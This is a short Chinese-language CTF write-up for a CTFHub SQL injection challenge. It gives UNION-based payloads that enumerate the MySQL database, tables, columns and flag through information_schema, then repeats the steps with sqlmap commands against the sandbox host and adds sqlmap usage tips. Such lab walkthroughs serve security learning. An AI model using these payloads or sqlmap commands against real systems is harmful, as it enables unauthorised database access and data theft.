技能树-Web题-SQL注入-Mysql结构
Mysql结构
判断注入
1 and 1=1 有回显
1 and 1=2 无回显
爆库
-1 union select 1,database()#
得到库名sqli
爆表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
得到两个表名,爆第一个表的字段名看看有什么信息
爆字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'djzvzdauvl'
得到一个字段名,看看有什么数据
爆数据
-1 union select 1,yireieotdp from sqli.djzvzdauvl
得到flag
linux sqlmap
爆库
sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 --dbs
爆表
sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
爆字段
sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 -D sqli -T djzvzdauvl --columns
爆数据
sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 -D sqli -T djzvzdauvl -C yireieotdp --dump
sqlmap提示选项使用技巧
在使用sqlmap过程中,经常需要用户进行选择,如[Y/n]。这里有几个技巧:
1.大写的为默认选项。如果不输入,就自动使用该选项。
2.我们输入时,不用区分大小写。
3.除了y和n,还有两个特殊选项。一个是a,表示alway,就是总是获取。一个是q,表示退出。
4.不想手动选择,则在执行sqlmap的时候,加上–batch和–smart选项。